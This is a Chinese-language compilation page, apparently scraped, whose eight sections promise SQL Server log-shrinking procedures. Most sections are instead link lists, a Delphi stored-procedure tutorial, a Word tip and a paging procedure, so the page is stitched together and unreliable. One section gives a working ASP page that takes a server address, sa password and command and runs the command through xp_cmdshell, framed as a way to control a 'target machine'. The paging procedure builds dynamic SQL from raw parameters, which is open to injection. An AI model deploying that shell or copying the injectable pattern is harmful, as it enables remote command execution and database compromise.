下面小编为大家整理了一次性压缩Sqlserver中所有库日志的存储过程,本文共8篇,欢迎阅读与借鉴!本文原稿由网友“junsz”提供。
篇1:一次性压缩Sqlserver中所有库日志的存储过程
-03-03Sql学习第三天――SQL 关于CTE(公用表达式)的递归查询使用
-12-12SQL平均数统计
2013-07-07MSSQL数据库占用内存过大造成服务器死机问题的解决方法
-06-06删除Table表中的重复行的方法
-03-03格式导致的Excel导入sql出现异常的解决方法
-01-01判断触发器正在处理的是插入,删除还是更新触发
2009-04-04删除重复记录,并且剩下一条
-11-11SQL命令大全-中英文对照
2010-09-09sqlserver Union和SQL Union All使用方法
2009-07-07数据库Left join , Right Join, Inner Join 的相关内容,非常实用
篇2:一次性压缩Sqlserver中所有库日志的存储过程
最近更 新
SqlServer 扩展属性的介绍
sql 百万级数据库优化方案分享
SQL货币数字转英文字符语句
SQL触发器实例讲解
SQL Server存储过程的基础说明
Sql学习第四天――SQL 关于with cube,wit
SQL Server误区30日谈 第28天 有关大容量
SQL Server误区30日谈 第2天 DBCC CHECKD
将Sql Server对象的当前拥有者更改成目标
一条SQL语句修改多表多字段的信息的具体实
热 点 排 行
SQL Server 2008图文安装教程
SQL Server 2012 安装图解教程(附
sqlserver中distinct的用法(不重
SQL Server导入、导出、备份数据
SQL语句去掉重复记录,获取重复记
SQL Server数据库入门学习总结
SQL Server错误代码大全及解释(
sql convert函数使用小结
sql 时间函数 整理的比较全了
用SQL语句添加删除修改字段、一些
篇3:一段压缩MS SQLServer日志的语句
-04-04SqlServer获取存储过程返回值的实例
-07-07SQL 无法装载DLL Microsoft原因(无法修改sa密码)
-08-08Sql Server基本函数
-07-07mssql 两表合并sql语句
2013-10-10sql 百万级数据库优化方案分享
2013-09-09sql注入数据库修复的两种实例方法
-11-11卸载VS2011 Developer Preview后Sql Server R2建立数据库关系
2006-09-09SQL Server全文索引服务
2011-08-08sqlserver 用户权限管理,LINQ去除它的重复菜单项
2013-06-06解决无法在unicode和非unicode字符串数据类型之间转换的方法详解
篇4:一段压缩MS SQLServer日志的语句
最近更 新
MSSQL中删除用户时数据库主体在该数据库存
最长用最基本的MSSQL数据库备份与还原
SQL Server 自动增长清零的方法
mysql 数据库中索引原理分析说明
sqlserver 禁用触发器和启用触发器的语句
MSSQL批量替换语句 在SQL SERVER中批量替
T-SQL篇如何防止SQL注入的解决方法
如何优化SQL语句的心得浅谈
sqlserver另类非递归的无限级分类(存储过
SqlServer中用exec处理sql字符串中含有变
热 点 排 行
SQL Server 2008图文安装教程
SQL Server 2012 安装图解教程(附
sqlserver中distinct的用法(不重
SQL Server导入、导出、备份数据
SQL语句去掉重复记录,获取重复记
SQL Server数据库入门学习总结
SQL Server错误代码大全及解释(
sql convert函数使用小结
sql 时间函数 整理的比较全了
用SQL语句添加删除修改字段、一些
篇5:Delphi与SQLServer存储过程编程详解数据库
前言 经常有很多初学者问到在delphi中如何调用 SQL Server的存储过程 ?问题其实很好解决,但问得多了,也就不愿答了,下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。 首先,打开 sql server管理器,在pubs 数据库 中建一个 测试 表
前言
经常有很多初学者问到在delphi中如何调用SQLServer的存储过程?问题其实很好解决,但问得多了,也就不愿答了。下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。
首先,打开sqlserver管理器,在pubs数据库中建一个测试表,表名为test,字段有id,name,和desc,全部为字符型,如果你不知道建表,那么打开sql查询分析器,贴上以下的代码,然后按执行,就会自动生成test表.
use pubs
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[test]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [dbo].[test]
GO
CREATE TABLE [dbo].[test] (
[id] [char] (10) COLLATE Chinese_PRC_CI_AS NOT NULL ,
[name] [char] (12) COLLATE Chinese_PRC_CI_AS NULL ,
[descrip] [char] (30) COLLATE Chinese_PRC_CI_AS NULL
) ON [PRIMARY]
GO
然后,我们来创建一个存储过程,其功能为在test中插入一条新记录.创建存储过程的代码如下,同样的,你也可以复制到查询分析器里直接执行就可以:
CREATE PROCEDURE myInsert
@id char(10) ,
@name varchar(12),
@descrip varchar(30)
AS
begin
insert into test (id,name,descrip) values (@id,@name,@descrip)
if @@rowcount=0
begin
raiserror('error',16,1)
rollback transaction
end
end
GO
接下来,新建一个工程文件,在form1上放置如下控件,并设置属性(括号内):
一个ADOConnection1: TADOConnection;
(LoginPrompt:=false;
connectionstring:=Provider=SQLOLEDB.1;Persist Security Info=True;User ID=sa;Initial Catalog=pubs;Data Source=(local);)
一个ADOStoredProc1: TADOStoredProc;属性为:
(connection:=adoconnection1;
procedurename:=myinsert;//上面我们创建的那个)
一个ADOTable1: TADOTable;属性为:
(connection:=adoconnection1;
tablename:=test; //上面我们创建的那个)
一个Datasource1,属性为:
(dataset:=Tadotable;)
一个 DBGrid1: TDBGrid;属性为
(datasource:=datasource1;)
一个Button1,在其Onclick中写到:
with adoStoredproc1 do
begin
Parameters.ParamByName('@id').Value := '2';
parameters.ParamByName('@name').Value := 'myname';
parameters.ParamByName('@descrip').Value :='nosubject';
ExecProc;
end;
Adotable1.Close;
adotable1.Open;
原文转自:www.ltesting.net
篇6:教你SQLSERVER扩展存储过程XPCMDSHELL的简单应用
XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作,下面是我写的一个简单的应用页面(ASP),代码如下。
XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。下面是我写的一个简单的应用页面(ASP),代码如下。
CMD.ASP
<%@LANGUAGE=“VBSCRIPT” CODEPAGE=“936”%>
SQLSERVER_XP_CMDSHELL实例_魔术师·刘
<%if request(“cmd”)“” then%>
XP_CMDSHELL请求结果
<%dim connstr,conn,rs,i
ConnStr=“Provider=sqloledb.1;persist security info=false;server=”&request(“server”)&“;uid=sa;pwd=”&request(“pwd”)&“;database=master”
'ConnStr=“Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master”
set conn=Server.CreateObject(“ADODB.Connection”)
conn.open Connstr
set rs=server.CreateObject(“ADODB.Recordset”)
set rs=conn.execute(“xp_cmdshell '”&replace(replace(request(“cmd”),“'”,“''”),chr(34),“''”)&“'”)
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write “”&rs(0)&“”
else
response.Write “”&rs(0)&“”
end if
i=i 1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
<%end if%>
XP_CMDSHELL实例
服务器
<%=request(“Server”)%>“>
SA密码
<%=request(”PWD“)%>”>
CMD命令
<%=request(“CMD”)%>“>
篇7:一次性去掉word中所有链接
当用户需要在文档中去掉所有链接时(用户从网络上复制文本时通常需要这么做,因为网络上的文本常常会含有很多链接),如果一个一个链接的去除,那肯定会很麻烦,并且大大降低工作效率,
一次性去掉word2010中所有链接
,
事实上,一次性删除文本中的链接的方法很简单,选择要删除链接的文本(如是整个文档,则按Ctrl+A全选),然后按Ctrl+Shift+F9快捷键,即可删除所选文本中所带有的所有超链接。
篇8:SQLSERVER Pager store procedure分页存储过程数据库教程
复制代码代码如下:
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[Pagination]
@Page int = 1, -- 当前页码
@PageSize int = 10, -- 每页记录条数(页面大小)
@Table nvarchar(500), -- 表名或视图名,甚至可以是嵌套SQL:(Select * From Tab Where ID>1000) Tab
@Field nvarchar(800) = '*', -- 返回记录集字段名,”,“隔开,默认是”*\"
@OrderBy nvarchar(100) = 'ID ASC', -- 排序规则
@Filter nvarchar(500), -- 过滤条件
@MaxPage smallint output, -- 执行结果 -1 error, 0 false, maxpage true
@TotalRow int output, -- 记录总数 /* 2007-07-12 22:11:00 update */
@Descript. varchar(100) output -- 结果描述
AS
BEGIN
-- =============================================
-- Author: Jimmy.Yu
-- Create date: 2007-5-11
-- Description: SQL 2005 以上版本 通用分页存储过程
-- =============================================
Set ROWCOUNT @PageSize;
Set @Descript. = 'successful';
-------------------参数检测----------------
IF LEN(RTRIM(LTRIM(@Table))) !>0
Begin
Set @MaxPage = 0;
Set @Descript. = 'table name is empty';
Return;
End
IF LEN(RTRIM(LTRIM(@OrderBy))) !>0
Begin
Set @MaxPage = 0;
Set @Descript. = 'order is empty';
Return;
End
IF ISNULL(@PageSize,0) <= 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'page size error';
Return;
End
IF ISNULL(@Page,0) <= 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'page error';
Return;
End
-------------------检测结束----------------
Begin Try
-- 整合SQL
Declare @SQL nvarchar(4000), @Portion nvarchar(4000);
Set @Portion = ' ROW_NUMBER() OVER (ORDER BY ' + @OrderBy + ') AS ROWNUM FROM ' + @Table;
Set @Portion = @Portion + (CASE WHEN LEN(@Filter) >= 1 THEN (' Where ' + @Filter + ') AS tab') ELSE (') AS tab') END);
Set @SQL = 'Select TOP(' + CAST(@PageSize AS nvarchar(8)) + ') ' + @Field + ' FROM (Select ' + @Field + ',' + @Portion;
Set @SQL = @SQL + ' Where tab.ROWNUM >' + CAST((@Page-1)*@PageSize AS nvarchar(8));
-- 执行SQL, 取当前页记录集
Execute(@SQL);
--------------------------------------------------------------------
-- 整合SQL
Set @SQL = 'Set @Rows = (Select MAX(ROWNUM) FROM (Select' + @Portion + ')';
-- 执行SQL, 取最大页码
Execute sp_executesql @SQL, N'@Rows int output', @TotalRow output;
Set @MaxPage = (CASE WHEN (@TotalRow % @PageSize)0 THEN (@TotalRow / @PageSize + 1) ELSE (@TotalRow / @PageSize) END);
End Try
Begin Catch
-- 捕捉错误
Set @MaxPage = -1;
Set @Descript. = 'error line: ' + CAST(ERROR_LINE() AS varchar(8)) + ', error number: ' + CAST(ERROR_NUMBER() AS varchar(8)) + ', error message: ' + ERROR_MESSAGE();
Return;
End Catch;
-- 执行成功
Return;
END
相对应的页面逻辑中写的对应调用该存储过程的方法(C#)
教你SQLSERVER扩展存储过程XPCMDSHELL的简单应用